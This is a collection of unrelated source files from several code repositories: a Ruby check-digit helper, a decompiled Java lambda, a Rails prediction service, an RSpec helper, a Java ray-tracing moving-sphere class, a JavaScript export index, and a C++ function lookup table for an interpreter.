def self.get_digit(code)# m10w31
digit = 0
code.to_s.split(//).reverse.each_with_index do |chr, idx|
digit += chr.to_i * (idx.even? ? 3 : 1)
end
digit = (10 - (digit % 10)) % 10
return digit.to_s
end
def self.add_digit(code)
return code.to_s + self.get_digit(code)
end
end
|
tusharchoudhary0003/Custom-Football-Game | sources/p005cm/aptoide/p006pt/view/settings/C5480ha.java | package p005cm.aptoide.p006pt.view.settings;
import p026rx.p027b.C0129b;
/* renamed from: cm.aptoide.pt.view.settings.ha */
/* compiled from: lambda */
public final /* synthetic */ class C5480ha implements C0129b {
/* renamed from: a */
public static final /* synthetic */ C5480ha f9291a = new C5480ha();
private /* synthetic */ C5480ha() {
}
public final void call(Object obj) {
MyAccountPresenter.m9676p((Void) obj);
}
}
|
saulomendonca/live-bolao | app/services/prediction_service.rb | <filename>app/services/prediction_service.rb
class PredictionService
def initialize(game_id, crawler = VippredictorCrawler.new)
@crawler = crawler
@game_id = game_id
@parser = PredictionParser.new(@crawler, @game_id)
end
def populate_users_predictions
@game = Game.find(@game_id)
return false if @game.status == Game::STATUS_FUTURE
predictions_hash = @parser.get_predictions_hash
predictions_hash.each do |prediction_hash|
Prediction.create!(prediction_hash)
end
end
end
|
devrieda/stylesheet | spec/spec_helper.rb | <gh_stars>0
require 'rubygems'
require 'bundler/setup'
require_relative '../lib/stylesheet.rb'
require_relative '../spec/stubs/fake_request.rb'
include Stylesheet
RSpec.configure do |config|
end |
LamiumAmplexicaule/RayTracing | src/main/java/net/henbit/raytracing/nextweek/hittable/MovingSphere.java | <reponame>LamiumAmplexicaule/RayTracing
package net.henbit.raytracing.nextweek.hittable;
import net.henbit.raytracing.nextweek.AABB;
import net.henbit.raytracing.nextweek.HitRecord;
import net.henbit.raytracing.nextweek.Ray;
import net.henbit.raytracing.nextweek.Vector3;
import net.henbit.raytracing.nextweek.material.Material;
import static net.henbit.raytracing.nextweek.AABB.surroundingBox;
import static net.henbit.raytracing.nextweek.Vector3.dot;
@SuppressWarnings("DuplicatedCode")
public class MovingSphere extends Hittable
{
public final Vector3 center0, center1;
public final double time0, time1;
public final double radius;
public final Material material;
public MovingSphere(final Vector3 center0, final Vector3 center1, final double time0, final double time1, final double radius, final Material material)
{
this.center0 = center0;
this.center1 = center1;
this.time0 = time0;
this.time1 = time1;
this.radius = radius;
this.material = material;
}
@Override
public boolean hit(final Ray ray, final double tMin, final double tMax, final HitRecord hitRecord)
{
Vector3 oc = ray.origin().subtract(center(ray.time()));
double a = ray.direction().lengthSquared();
double halfB = dot(oc, ray.direction());
double c = oc.lengthSquared() - radius * radius;
double discriminant = halfB * halfB - a * c;
if (discriminant < 0) return false;
double sqrtD = Math.sqrt(discriminant);
double root = (-halfB - sqrtD) / a;
if (root < tMin || tMax < root)
{
root = (-halfB + sqrtD) / a;
if (root < tMin || tMax < root)
return false;
}
hitRecord.t = root;
hitRecord.point = ray.at(hitRecord.t);
Vector3 outwardNormal = hitRecord.point.subtract(center(ray.time())).divide(radius);
hitRecord.setFaceNormal(ray, outwardNormal);
hitRecord.material = material;
return true;
}
@Override
public boolean boundingBox(final double time0, final double time1, final AABB outputBox)
{
AABB box0 = new AABB(
center(time0).subtract(new Vector3(radius, radius, radius)),
center(time0).add(new Vector3(radius, radius, radius)));
AABB box1 = new AABB(
center(time1).subtract(new Vector3(radius, radius, radius)),
center(time1).add(new Vector3(radius, radius, radius)));
outputBox.copy(surroundingBox(box0, box1));
return true;
}
private Vector3 center(final double time)
{
return center0.add(center1.subtract(center0).multiply((time - time0) / (time1 - time0)));
}
}
|
GilbertLS/MovieCircle | app/web/containers/movie/components/index.js | exports.Ribbon = require('./ribbon').default;
exports.Backdrop = require('./backdrop').default;
exports.Cast = require('./cast').default;
exports.Overview = require('./overview').default;
exports.Recommendations = require('./recommendations').default;
|
IanFinlayson/tetra | source/lib/functions.cpp | /* functions.cpp
* this file builds a function lookup table so that when the interpreter
* encounters a function call, it can easily find the address of the
* appropriate node where the called function code resides since there is only
* one funciton table per program (even if using multiple files, the further
* functions should be addable by calling buildtree for each file's syntax
* tree) this uses a single object design.
*/
#include <assert.h>
#include <cstdlib>
#include <iostream>
#include <map>
#include <sstream>
#include <string>
#include "tetra.h"
/* given a function signature, returns the adress of a node containing the
function definition for that signature */
Node* FunctionMap::getFunctionNode(const String functionSignature) {
/* if function is not there, will return default Node* (i.e. NULL) */
return lookup[functionSignature];
}
Node* FunctionMap::getFunctionNode(DataType* params, String name) {
return lookup[name + typeToString(params)];
}
/* lookup function node from functionCall node */
Node* FunctionMap::getFunctionNode(const Node* callNode) {
return lookup[getFunctionSignature(callNode)];
}
FunctionMap::FunctionMap() {}
/* Fills the function map given the specified base node TODO: this function is
comprised of old functionality followed by new changes to accomadate constant
time lookup. This function can potentially bwe rewritten to both search for
functions and assign them values at the same time */
void FunctionMap::build(Node* tree) {
if (tree->kind() == NODE_TOPLEVEL_LIST || tree->kind() == NODE_CLASS_PART) {
/* by frontend specifications, there MUST be a child to add */
Node* candidate = tree->child(0);
if (candidate->kind() == NODE_FUNCTION) {
/* populate the symtable and update the datatype */
inferParams(candidate);
/* if this function is already in the table */
if (lookup.count(getFunctionSignature(candidate)) > 0) {
throw Error("Duplicate function. ", candidate->getLine());
}
/* otherwise, it's not in the table, so add it! */
lookup[getFunctionSignature(candidate)] = candidate;
}
/* checks if there are further functions to add */
if (tree->child(1) != NULL) {
build(tree->child(1));
}
}
}
/* wrapper around std::map's insert function */
void FunctionMap::insert(std::pair<String, Node*> pair) {
lookup.insert(pair);
}
/* clear all functions from the map */
void FunctionMap::clearAll() {
lookup.clear();
}
std::map<String, Node*> FunctionMap::remove(String name) {
/* make a map to store the pairs to return */
std::map<String, Node*> pairs;
/* make a vector to store keys to remove */
std::vector<String> keys;
/* find the functions */
for (std::map<String, Node*>::iterator it = lookup.begin(); it != lookup.end(); it++) {
/* check for a name match */
if (name == it->first.substring(0, (it->first).indexOf("("))) {
/* add it to the return list */
pairs.insert(*it);
/* add the old key to a list for removal */
keys.push_back(it->first);
}
}
/* remove all the old keys */
for (unsigned long i = 0; i < keys.size(); i++) {
lookup.erase(keys[i]);
}
return pairs;
}
bool FunctionMap::hasFuncNamed(String name) {
/* loop through all elements in the map */
for (std::map<String, Node*>::iterator it = lookup.begin(); it != lookup.end(); it++) {
/* check for a name match */
if (name == it->first.substring(0, (it->first).indexOf("("))) {
return true;
}
}
/* if we got through the list and didn't find a name match */
return false;
}
DataType FunctionMap::getFunctionsNamed(String name) {
/* create a dataType to return */
DataType retType = DataType(TYPE_OVERLOAD);
/* loop through all elements in the map */
for (std::map<String, Node*>::iterator it = lookup.begin(); it != lookup.end(); it++) {
/* check for a name match */
if (name == it->first.substring(0, (it->first).indexOf("("))) {
/* if one was found, add it to the subtypes */
retType.subtypes->push_back(DataType(*(it->second->type())));
}
}
/* If there are no subtypes, return null */
if (retType.subtypes->size() == 0) {
retType = DataType(TYPE_NONE);
/* If there is one, just return that one */
} else if (retType.subtypes->size() == 1) {
retType = (*(retType.subtypes))[0];
}
return retType;
}
bool FunctionMap::hasFunction(Node* node) {
return lookup.count(getFunctionSignature(node));
}
bool FunctionMap::hasFunction(DataType* type, String name) {
return lookup.count(name + typeToString(type));
}
/* Given a NODE_FUNCTION (seen by the build method) or NODE_FUNCALL (seen at
* runtime) Assembles the function signature for the function */
String FunctionMap::getFunctionSignature(const Node* node) {
if (node->kind() == NODE_FUNCTION) {
return getFunctionSignature(node->getStringvalue(), node->type());
} else if (node->kind() == NODE_FUNCALL) {
/* get the params */
DataType* params = new DataType(TYPE_TUPLE);
if (node->getNumChildren() > 1) {
buildParamTupleType(params, node->child(1));
}
String paramStr = typeToString(params);
delete params;
return node->child(0)->getStringvalue() + paramStr;
}
throw Error("Cannot create Function signature.");
}
/* given a name and a functiontype, assembles a function signature */
String FunctionMap::getFunctionSignature(const String name, const DataType* type) {
/* this returns the whole type including return */
String signature = name + typeToString(&((*(type->subtypes))[0]));
/* if there is an arrow in it, remove it */
int idx = signature.indexOf("->");
if (idx != -1) {
signature = signature.substring(0, idx);
}
return signature;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.